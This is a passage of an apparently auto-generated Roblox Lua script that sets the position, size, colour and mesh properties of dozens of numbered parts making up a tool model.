  3038. Part230.CFrame = CFrame.new(26.8995361, 1.26122999, 139.760315, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3039. Part230.BottomSurface = Enum.SurfaceType.Smooth
  3040. Part230.TopSurface = Enum.SurfaceType.Smooth
  3041. Part230.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3042. Part230.Position = Vector3.new(26.8995361, 1.26122999, 139.760315)
  3043. Part230.Orientation = Vector3.new(0, 179.459991, 0)
  3044. Part230.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3045. BlockMesh231.Parent = Part230
  3046. BlockMesh231.Offset = Vector3.new(-0.0149999997, 0, 0)
  3047. BlockMesh231.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
  3048. BlockMesh231.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
  3049. Part232.Parent = Tool0
  3050. Part232.Material = Enum.Material.SmoothPlastic
  3051. Part232.BrickColor = BrickColor.new("Brick yellow")
  3052. Part232.Reflectance = 0.050000000745058
  3053. Part232.Rotation = Vector3.new(180, -89.4599991, 0)
  3054. Part232.Anchored = true
  3055. Part232.FormFactor = Enum.FormFactor.Custom
  3056. Part232.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
  3057. Part232.CFrame = CFrame.new(27.2097168, 0.988281012, 137.039001, 0.00939130783, 4.398931e-08, -0.999955833, 2.98023117e-08, -0.999999404, -4.37113883e-08, -0.999954998, -2.93904776e-08, -0.00939165056)
  3058. Part232.BottomSurface = Enum.SurfaceType.Smooth
  3059. Part232.TopSurface = Enum.SurfaceType.Smooth
  3060. Part232.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3061. Part232.Position = Vector3.new(27.2097168, 0.988281012, 137.039001)
  3062. Part232.Orientation = Vector3.new(0, -90.5400009, 180)
  3063. Part232.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3064. SpecialMesh233.Parent = Part232
  3065. SpecialMesh233.Scale = Vector3.new(0.149999991, 1, 0.299999982)
  3066. SpecialMesh233.MeshType = Enum.MeshType.Wedge
  3067. SpecialMesh233.Scale = Vector3.new(0.149999991, 1, 0.299999982)
  3068. Part234.Parent = Tool0
  3069. Part234.Material = Enum.Material.SmoothPlastic
  3070. Part234.BrickColor = BrickColor.new("Black")
  3071. Part234.Reflectance = 0.050000000745058
  3072. Part234.Rotation = Vector3.new(180, -89.4599991, -90)
  3073. Part234.Anchored = true
  3074. Part234.FormFactor = Enum.FormFactor.Custom
  3075. Part234.Size = Vector3.new(0.200000003, 0.200000003, 0.270000011)
  3076. Part234.CFrame = CFrame.new(27.0954571, 1.273193, 138.040222, 3.56089729e-15, 0.00939133763, -0.999955833, 0.999999881, 8.8817842e-16, -3.55271368e-15, -8.54773505e-16, -0.999955535, -0.00939165056)
  3077. Part234.BottomSurface = Enum.SurfaceType.Smooth
  3078. Part234.TopSurface = Enum.SurfaceType.Smooth
  3079. Part234.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3080. Part234.Position = Vector3.new(27.0954571, 1.273193, 138.040222)
  3081. Part234.Orientation = Vector3.new(0, -90.5400009, 90)
  3082. Part234.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3083. CylinderMesh235.Parent = Part234
  3084. CylinderMesh235.Offset = Vector3.new(-0.00600000005, 0, 0)
  3085. CylinderMesh235.Scale = Vector3.new(0.900000036, 3.75000095, 1)
  3086. CylinderMesh235.Scale = Vector3.new(0.900000036, 3.75000095, 1)
  3087. Part236.Parent = Tool0
  3088. Part236.Material = Enum.Material.SmoothPlastic
  3089. Part236.BrickColor = BrickColor.new("Black")
  3090. Part236.Reflectance = 0.050000000745058
  3091. Part236.Rotation = Vector3.new(-180, 0.539999962, 180)
  3092. Part236.Anchored = true
  3093. Part236.FormFactor = Enum.FormFactor.Custom
  3094. Part236.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3095. Part236.CFrame = CFrame.new(27.1049805, 1.12329102, 137.056335, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  3096. Part236.BottomSurface = Enum.SurfaceType.Smooth
  3097. Part236.TopSurface = Enum.SurfaceType.Smooth
  3098. Part236.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3099. Part236.Position = Vector3.new(27.1049805, 1.12329102, 137.056335)
  3100. Part236.Orientation = Vector3.new(0, 179.459991, 0)
  3101. Part236.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3102. BlockMesh237.Parent = Part236
  3103. BlockMesh237.Scale = Vector3.new(0.450000018, 0.900000036, 0.299999982)
  3104. BlockMesh237.Scale = Vector3.new(0.450000018, 0.900000036, 0.299999982)
  3105. Part238.Parent = Tool0
  3106. Part238.Material = Enum.Material.SmoothPlastic
  3107. Part238.BrickColor = BrickColor.new("Brick yellow")
  3108. Part238.Reflectance = 0.050000000745058
  3109. Part238.Rotation = Vector3.new(180, -89.4499969, -90)
  3110. Part238.Anchored = true
  3111. Part238.FormFactor = Enum.FormFactor.Custom
  3112. Part238.Size = Vector3.new(0.270000011, 0.200000003, 0.270000011)
  3113. Part238.CFrame = CFrame.new(27.1051025, 1.22827101, 137.041504, -2.79857915e-10, 0.00939138234, -0.99995476, 0.999997616, 2.98022709e-08, -2.48689958e-14, 2.98009351e-08, -0.999953687, -0.00939142704)
  3114. Part238.BottomSurface = Enum.SurfaceType.Smooth
  3115. Part238.TopSurface = Enum.SurfaceType.Smooth
  3116. Part238.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3117. Part238.Position = Vector3.new(27.1051025, 1.22827101, 137.041504)
  3118. Part238.Orientation = Vector3.new(0, -90.5400009, 90)
  3119. Part238.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3120. CylinderMesh239.Parent = Part238
  3121. CylinderMesh239.Scale = Vector3.new(1, 0.180000007, 1)
  3122. CylinderMesh239.Scale = Vector3.new(1, 0.180000007, 1)
  3123. Part240.Parent = Tool0
  3124. Part240.Material = Enum.Material.SmoothPlastic
  3125. Part240.BrickColor = BrickColor.new("Black")
  3126. Part240.Reflectance = 0.050000000745058
  3127. Part240.Rotation = Vector3.new(-90, 0, 179.459991)
  3128. Part240.Anchored = true
  3129. Part240.FormFactor = Enum.FormFactor.Custom
  3130. Part240.Size = Vector3.new(0.200000003, 0.270000011, 0.200000003)
  3131. Part240.CFrame = CFrame.new(27.0733643, 1.26122999, 140.391907, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
  3132. Part240.BottomSurface = Enum.SurfaceType.Smooth
  3133. Part240.TopSurface = Enum.SurfaceType.Smooth
  3134. Part240.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3135. Part240.Position = Vector3.new(27.0733643, 1.26122999, 140.391907)
  3136. Part240.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
  3137. Part240.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3138. Decal241.Parent = Part240
  3139. Decal241.Texture = "http://www.roblox.com/asset/?id=65628034"
  3140. Decal241.Face = Enum.NormalId.Bottom
  3141. CylinderMesh242.Parent = Part240
  3142. CylinderMesh242.Scale = Vector3.new(0.599999964, 1, 0.599999964)
  3143. CylinderMesh242.Scale = Vector3.new(0.599999964, 1, 0.599999964)
  3144. Part243.Parent = Tool0
  3145. Part243.Material = Enum.Material.SmoothPlastic
  3146. Part243.BrickColor = BrickColor.new("Black")
  3147. Part243.Reflectance = 0.050000000745058
  3148. Part243.Rotation = Vector3.new(-90.5400009, -45, -90.7599945)
  3149. Part243.Anchored = true
  3150. Part243.FormFactor = Enum.FormFactor.Custom
  3151. Part243.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
  3152. Part243.CFrame = CFrame.new(27.1330566, 1.26122999, 140.743469, -0.00939133763, 0.707075536, -0.707075536, -8.8817842e-16, 0.70710665, 0.70710665, 0.999955535, 0.00664079189, -0.00664079189)
  3153. Part243.BottomSurface = Enum.SurfaceType.Smooth
  3154. Part243.TopSurface = Enum.SurfaceType.Smooth
  3155. Part243.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3156. Part243.Position = Vector3.new(27.1330566, 1.26122999, 140.743469)
  3157. Part243.Orientation = Vector3.new(-45, -90.5400009, 0)
  3158. Part243.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3159. SpecialMesh244.Parent = Part243
  3160. SpecialMesh244.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3161. SpecialMesh244.MeshType = Enum.MeshType.Wedge
  3162. SpecialMesh244.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3163. Part245.Parent = Tool0
  3164. Part245.Material = Enum.Material.SmoothPlastic
  3165. Part245.BrickColor = BrickColor.new("Black")
  3166. Part245.Reflectance = 0.050000000745058
  3167. Part245.Rotation = Vector3.new(-90, 0, 179.459991)
  3168. Part245.Anchored = true
  3169. Part245.FormFactor = Enum.FormFactor.Custom
  3170. Part245.Size = Vector3.new(0.200000003, 0.99000001, 0.228)
  3171. Part245.CFrame = CFrame.new(27.1395264, 1.24609399, 139.762512, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
  3172. Part245.BottomSurface = Enum.SurfaceType.Smooth
  3173. Part245.TopSurface = Enum.SurfaceType.Smooth
  3174. Part245.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3175. Part245.Position = Vector3.new(27.1395264, 1.24609399, 139.762512)
  3176. Part245.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
  3177. Part245.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3178. CylinderMesh246.Parent = Part245
  3179. CylinderMesh246.Offset = Vector3.new(0, -0.00239999988, 0)
  3180. CylinderMesh246.Scale = Vector3.new(1.13999999, 1.00999987, 2)
  3181. CylinderMesh246.Scale = Vector3.new(1.13999999, 1.00999987, 2)
  3182. Part247.Parent = Tool0
  3183. Part247.Material = Enum.Material.SmoothPlastic
  3184. Part247.BrickColor = BrickColor.new("Black")
  3185. Part247.Reflectance = 0.050000000745058
  3186. Part247.Rotation = Vector3.new(89.4599991, 45, 90.7599945)
  3187. Part247.Anchored = true
  3188. Part247.FormFactor = Enum.FormFactor.Custom
  3189. Part247.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
  3190. Part247.CFrame = CFrame.new(27.0042725, 1.26122999, 140.742371, -0.00939133763, -0.707075536, 0.707075536, -8.8817842e-16, -0.70710665, -0.70710665, 0.999955535, -0.00664079189, 0.00664079189)
  3191. Part247.BottomSurface = Enum.SurfaceType.Smooth
  3192. Part247.TopSurface = Enum.SurfaceType.Smooth
  3193. Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3194. Part247.Position = Vector3.new(27.0042725, 1.26122999, 140.742371)
  3195. Part247.Orientation = Vector3.new(45, 89.4599991, -180)
  3196. Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3197. SpecialMesh248.Parent = Part247
  3198. SpecialMesh248.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3199. SpecialMesh248.MeshType = Enum.MeshType.Wedge
  3200. SpecialMesh248.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3201. Part249.Parent = Tool0
  3202. Part249.Material = Enum.Material.SmoothPlastic
  3203. Part249.BrickColor = BrickColor.new("Black")
  3204. Part249.Reflectance = 0.050000000745058
  3205. Part249.Rotation = Vector3.new(-89.4599991, 45, 179.23999)
  3206. Part249.Anchored = true
  3207. Part249.FormFactor = Enum.FormFactor.Custom
  3208. Part249.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3209. Part249.CFrame = CFrame.new(27.0714111, 1.26122999, 140.574951, -0.707075536, -0.00939133763, 0.707075536, 0.70710665, -8.8817842e-16, 0.70710665, -0.00664079189, 0.999955535, 0.00664079189)
  3210. Part249.BottomSurface = Enum.SurfaceType.Smooth
  3211. Part249.TopSurface = Enum.SurfaceType.Smooth
  3212. Part249.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3213. Part249.Position = Vector3.new(27.0714111, 1.26122999, 140.574951)
  3214. Part249.Orientation = Vector3.new(-45, 89.4599991, 90)
  3215. Part249.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3216. CylinderMesh250.Parent = Part249
  3217. CylinderMesh250.Scale = Vector3.new(0.675000012, 0.527999997, 0.675000012)
  3218. CylinderMesh250.Scale = Vector3.new(0.675000012, 0.527999997, 0.675000012)
  3219. Part251.Parent = Tool0
  3220. Part251.Material = Enum.Material.SmoothPlastic
  3221. Part251.BrickColor = BrickColor.new("Black")
  3222. Part251.Reflectance = 0.050000000745058
  3223. Part251.Rotation = Vector3.new(90.5400009, -45, 90.7599945)
  3224. Part251.Anchored = true
  3225. Part251.FormFactor = Enum.FormFactor.Custom
  3226. Part251.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
  3227. Part251.CFrame = CFrame.new(27.0697021, 1.32714796, 140.743164, -0.00939133763, -0.707075536, -0.707075536, -8.8817842e-16, 0.70710665, -0.70710665, 0.999955535, -0.00664079189, -0.00664079189)
  3228. Part251.BottomSurface = Enum.SurfaceType.Smooth
  3229. Part251.TopSurface = Enum.SurfaceType.Smooth
  3230. Part251.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3231. Part251.Position = Vector3.new(27.0697021, 1.32714796, 140.743164)
  3232. Part251.Orientation = Vector3.new(45, -90.5400009, 0)
  3233. Part251.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3234. SpecialMesh252.Parent = Part251
  3235. SpecialMesh252.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3236. SpecialMesh252.MeshType = Enum.MeshType.Wedge
  3237. SpecialMesh252.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3238. Part253.Parent = Tool0
  3239. Part253.Material = Enum.Material.SmoothPlastic
  3240. Part253.BrickColor = BrickColor.new("Black")
  3241. Part253.Reflectance = 0.050000000745058
  3242. Part253.Rotation = Vector3.new(-89.4599991, 45, -90.7599945)
  3243. Part253.Anchored = true
  3244. Part253.FormFactor = Enum.FormFactor.Custom
  3245. Part253.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
  3246. Part253.CFrame = CFrame.new(27.0697021, 1.19531202, 140.743164, -0.00939133763, 0.707075536, 0.707075536, -8.8817842e-16, -0.70710665, 0.70710665, 0.999955535, 0.00664079189, 0.00664079189)
  3247. Part253.BottomSurface = Enum.SurfaceType.Smooth
  3248. Part253.TopSurface = Enum.SurfaceType.Smooth
  3249. Part253.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3250. Part253.Position = Vector3.new(27.0697021, 1.19531202, 140.743164)
  3251. Part253.Orientation = Vector3.new(-45, 89.4599991, -180)
  3252. Part253.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3253. SpecialMesh254.Parent = Part253
  3254. SpecialMesh254.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3255. SpecialMesh254.MeshType = Enum.MeshType.Wedge
  3256. SpecialMesh254.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3257. Part255.Parent = Tool0
  3258. Part255.Material = Enum.Material.SmoothPlastic
  3259. Part255.BrickColor = BrickColor.new("Really black")
  3260. Part255.Reflectance = 0.050000000745058
  3261. Part255.Rotation = Vector3.new(-89.4599991, 45, 179.23999)
  3262. Part255.Anchored = true
  3263. Part255.FormFactor = Enum.FormFactor.Custom
  3264. Part255.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3265. Part255.CFrame = CFrame.new(27.0692139, 1.26122999, 140.865967, -0.707075536, -0.00939133763, 0.707075536, 0.70710665, -8.8817842e-16, 0.70710665, -0.00664079189, 0.999955535, 0.00664079189)
  3266. Part255.BottomSurface = Enum.SurfaceType.Smooth
  3267. Part255.TopSurface = Enum.SurfaceType.Smooth
  3268. Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3269. Part255.Position = Vector3.new(27.0692139, 1.26122999, 140.865967)
  3270. Part255.Orientation = Vector3.new(-45, 89.4599991, 90)
  3271. Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3272. CylinderMesh256.Parent = Part255
  3273. CylinderMesh256.Offset = Vector3.new(0, -0.239999995, 0)
  3274. CylinderMesh256.Scale = Vector3.new(0.404999971, 0.0269999988, 0.50999999)
  3275. CylinderMesh256.Scale = Vector3.new(0.404999971, 0.0269999988, 0.50999999)
  3276. Part257.Parent = Tool0
  3277. Part257.Material = Enum.Material.SmoothPlastic
  3278. Part257.BrickColor = BrickColor.new("Really black")
  3279. Part257.Rotation = Vector3.new(-180, 0.539999962, -180)
  3280. Part257.Anchored = true
  3281. Part257.FormFactor = Enum.FormFactor.Custom
  3282. Part257.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3283. Part257.CFrame = CFrame.new(27.2574463, 1.336182, 139.973999, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3284. Part257.BottomSurface = Enum.SurfaceType.Smooth
  3285. Part257.TopSurface = Enum.SurfaceType.Smooth
  3286. Part257.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3287. Part257.Position = Vector3.new(27.2574463, 1.336182, 139.973999)
  3288. Part257.Orientation = Vector3.new(0, 179.459991, 0)
  3289. Part257.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3290. BlockMesh258.Parent = Part257
  3291. BlockMesh258.Offset = Vector3.new(0.180000007, -0.1875, 0)
  3292. BlockMesh258.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
  3293. BlockMesh258.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
  3294. Part259.Parent = Tool0
  3295. Part259.Material = Enum.Material.SmoothPlastic
  3296. Part259.BrickColor = BrickColor.new("Really black")
  3297. Part259.Rotation = Vector3.new(-180, 0.539999962, -180)
  3298. Part259.Anchored = true
  3299. Part259.FormFactor = Enum.FormFactor.Custom
  3300. Part259.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3301. Part259.CFrame = CFrame.new(27.2574463, 1.36621106, 139.973999, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3302. Part259.BottomSurface = Enum.SurfaceType.Smooth
  3303. Part259.TopSurface = Enum.SurfaceType.Smooth
  3304. Part259.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3305. Part259.Position = Vector3.new(27.2574463, 1.36621106, 139.973999)
  3306. Part259.Orientation = Vector3.new(0, 179.459991, 0)
  3307. Part259.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3308. BlockMesh260.Parent = Part259
  3309. BlockMesh260.Offset = Vector3.new(0.180000007, -0.1875, 0)
  3310. BlockMesh260.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
  3311. BlockMesh260.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
  3312. Part261.Parent = Tool0
  3313. Part261.Material = Enum.Material.SmoothPlastic
  3314. Part261.BrickColor = BrickColor.new("Black")
  3315. Part261.Rotation = Vector3.new(-180, 0.539999962, -180)
  3316. Part261.Anchored = true
  3317. Part261.FormFactor = Enum.FormFactor.Custom
  3318. Part261.Size = Vector3.new(0.200000003, 0.200000003, 0.810000002)
  3319. Part261.CFrame = CFrame.new(27.2590332, 1.26122999, 139.763794, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3320. Part261.BottomSurface = Enum.SurfaceType.Smooth
  3321. Part261.TopSurface = Enum.SurfaceType.Smooth
  3322. Part261.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3323. Part261.Position = Vector3.new(27.2590332, 1.26122999, 139.763794)
  3324. Part261.Orientation = Vector3.new(0, 179.459991, 0)
  3325. Part261.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3326. BlockMesh262.Parent = Part261
  3327. BlockMesh262.Offset = Vector3.new(0.0149999997, 0, 0)
  3328. BlockMesh262.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
  3329. BlockMesh262.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
  3330. Part263.Parent = Tool0
  3331. Part263.Material = Enum.Material.SmoothPlastic
  3332. Part263.BrickColor = BrickColor.new("Black")
  3333. Part263.Rotation = Vector3.new(-180, 0.539999962, -180)
  3334. Part263.Anchored = true
  3335. Part263.FormFactor = Enum.FormFactor.Custom
  3336. Part263.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
  3337. Part263.CFrame = CFrame.new(27.0793457, 1.12011695, 139.761902, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
  3338. Part263.BottomSurface = Enum.SurfaceType.Smooth
  3339. Part263.TopSurface = Enum.SurfaceType.Smooth
  3340. Part263.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3341. Part263.Position = Vector3.new(27.0793457, 1.12011695, 139.761902)
  3342. Part263.Orientation = Vector3.new(0, 179.459991, 0)
  3343. Part263.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3344. BlockMesh264.Parent = Part263
  3345. BlockMesh264.Offset = Vector3.new(0, 0.0269999988, 0)
  3346. BlockMesh264.Scale = Vector3.new(0.75, 0.149999991, 1.005)
  3347. BlockMesh264.Scale = Vector3.new(0.75, 0.149999991, 1.005)
  3348. Part265.Parent = Tool0
  3349. Part265.Material = Enum.Material.SmoothPlastic
  3350. Part265.BrickColor = BrickColor.new("Really black")
  3351. Part265.Rotation = Vector3.new(-180, 0.539999962, -180)
  3352. Part265.Anchored = true
  3353. Part265.FormFactor = Enum.FormFactor.Custom
  3354. Part265.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3355. Part265.CFrame = CFrame.new(27.2612305, 1.36621106, 139.553955, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3356. Part265.BottomSurface = Enum.SurfaceType.Smooth
  3357. Part265.TopSurface = Enum.SurfaceType.Smooth
  3358. Part265.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3359. Part265.Position = Vector3.new(27.2612305, 1.36621106, 139.553955)
  3360. Part265.Orientation = Vector3.new(0, 179.459991, 0)
  3361. Part265.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3362. BlockMesh266.Parent = Part265
  3363. BlockMesh266.Offset = Vector3.new(0.180000007, -0.1875, 0)
  3364. BlockMesh266.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
  3365. BlockMesh266.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
  3366. Part267.Parent = Tool0
  3367. Part267.Material = Enum.Material.SmoothPlastic
  3368. Part267.BrickColor = BrickColor.new("Brick yellow")
  3369. Part267.Rotation = Vector3.new(-180, 0.539999962, -180)
  3370. Part267.Anchored = true
  3371. Part267.FormFactor = Enum.FormFactor.Custom
  3372. Part267.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
  3373. Part267.CFrame = CFrame.new(27.0793457, 1.40722597, 139.761902, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
  3374. Part267.BottomSurface = Enum.SurfaceType.Smooth
  3375. Part267.TopSurface = Enum.SurfaceType.Smooth
  3376. Part267.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3377. Part267.Position = Vector3.new(27.0793457, 1.40722597, 139.761902)
  3378. Part267.Orientation = Vector3.new(0, 179.459991, 0)
  3379. Part267.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3380. BlockMesh268.Parent = Part267
  3381. BlockMesh268.Offset = Vector3.new(0, -0.00900000054, 0)
  3382. BlockMesh268.Scale = Vector3.new(0.75, 0.522000015, 1)
  3383. BlockMesh268.Scale = Vector3.new(0.75, 0.522000015, 1)
  3384. Part269.Parent = Tool0
  3385. Part269.Material = Enum.Material.SmoothPlastic
  3386. Part269.BrickColor = BrickColor.new("Brick yellow")
  3387. Part269.Rotation = Vector3.new(-180, 0.539999962, -180)
  3388. Part269.Anchored = true
  3389. Part269.FormFactor = Enum.FormFactor.Custom
  3390. Part269.Size = Vector3.new(0.200000003, 0.200000003, 0.816000223)
  3391. Part269.CFrame = CFrame.new(27.0791016, 1.10229504, 139.765137, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
  3392. Part269.BottomSurface = Enum.SurfaceType.Smooth
  3393. Part269.TopSurface = Enum.SurfaceType.Smooth
  3394. Part269.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3395. Part269.Position = Vector3.new(27.0791016, 1.10229504, 139.765137)
  3396. Part269.Orientation = Vector3.new(0, 179.459991, 0)
  3397. Part269.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3398. BlockMesh270.Parent = Part269
  3399. BlockMesh270.Offset = Vector3.new(0, 0.0180000011, 0)
  3400. BlockMesh270.Scale = Vector3.new(0.75, 0.270000011, 1)
  3401. BlockMesh270.Scale = Vector3.new(0.75, 0.270000011, 1)
  3402. Part271.Parent = Tool0
  3403. Part271.Material = Enum.Material.SmoothPlastic
  3404. Part271.BrickColor = BrickColor.new("Dark stone grey")
  3405. Part271.Rotation = Vector3.new(-180, 0.539999962, -180)
  3406. Part271.Anchored = true
  3407. Part271.FormFactor = Enum.FormFactor.Custom
  3408. Part271.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3409. Part271.CFrame = CFrame.new(27.0745831, 1.36328101, 140.272095, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3410. Part271.BottomSurface = Enum.SurfaceType.Smooth
  3411. Part271.TopSurface = Enum.SurfaceType.Smooth
  3412. Part271.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3413. Part271.Position = Vector3.new(27.0745831, 1.36328101, 140.272095)
  3414. Part271.Orientation = Vector3.new(0, 179.459991, 0)
  3415. Part271.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3416. BlockMesh272.Parent = Part271
  3417. BlockMesh272.Scale = Vector3.new(0.299999982, 0.375, 0.299999982)
  3418. BlockMesh272.Scale = Vector3.new(0.299999982, 0.375, 0.299999982)
  3419. Part273.Parent = Tool0
  3420. Part273.Material = Enum.Material.SmoothPlastic
  3421. Part273.BrickColor = BrickColor.new("Really black")
  3422. Part273.Rotation = Vector3.new(-180, 0.539999962, -180)
  3423. Part273.Anchored = true
  3424. Part273.FormFactor = Enum.FormFactor.Custom
  3425. Part273.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3426. Part273.CFrame = CFrame.new(27.2612305, 1.336182, 139.553955, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3427. Part273.BottomSurface = Enum.SurfaceType.Smooth
  3428. Part273.TopSurface = Enum.SurfaceType.Smooth
  3429. Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3430. Part273.Position = Vector3.new(27.2612305, 1.336182, 139.553955)
  3431. Part273.Orientation = Vector3.new(0, 179.459991, 0)
  3432. Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3433. BlockMesh274.Parent = Part273
  3434. BlockMesh274.Offset = Vector3.new(0.180000007, -0.1875, 0)
  3435. BlockMesh274.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
  3436. BlockMesh274.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
  3437. Part275.Parent = Tool0
  3438. Part275.Material = Enum.Material.SmoothPlastic
  3439. Part275.BrickColor = BrickColor.new("Really black")
  3440. Part275.Rotation = Vector3.new(-180, 0.539999962, -180)
  3441. Part275.Anchored = true
  3442. Part275.FormFactor = Enum.FormFactor.Custom
  3443. Part275.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3444. Part275.CFrame = CFrame.new(26.9016113, 1.39624, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3445. Part275.BottomSurface = Enum.SurfaceType.Smooth
  3446. Part275.TopSurface = Enum.SurfaceType.Smooth
  3447. Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3448. Part275.Position = Vector3.new(26.9016113, 1.39624, 139.550354)
  3449. Part275.Orientation = Vector3.new(0, 179.459991, 0)
  3450. Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3451. BlockMesh276.Parent = Part275
  3452. BlockMesh276.Offset = Vector3.new(-0.180000007, 0.0180000011, 0)
  3453. BlockMesh276.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3454. BlockMesh276.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3455. Part277.Parent = Tool0
  3456. Part277.Material = Enum.Material.SmoothPlastic
  3457. Part277.BrickColor = BrickColor.new("Really black")
  3458. Part277.Rotation = Vector3.new(-180, 0.539999962, -180)
  3459. Part277.Anchored = true
  3460. Part277.FormFactor = Enum.FormFactor.Custom
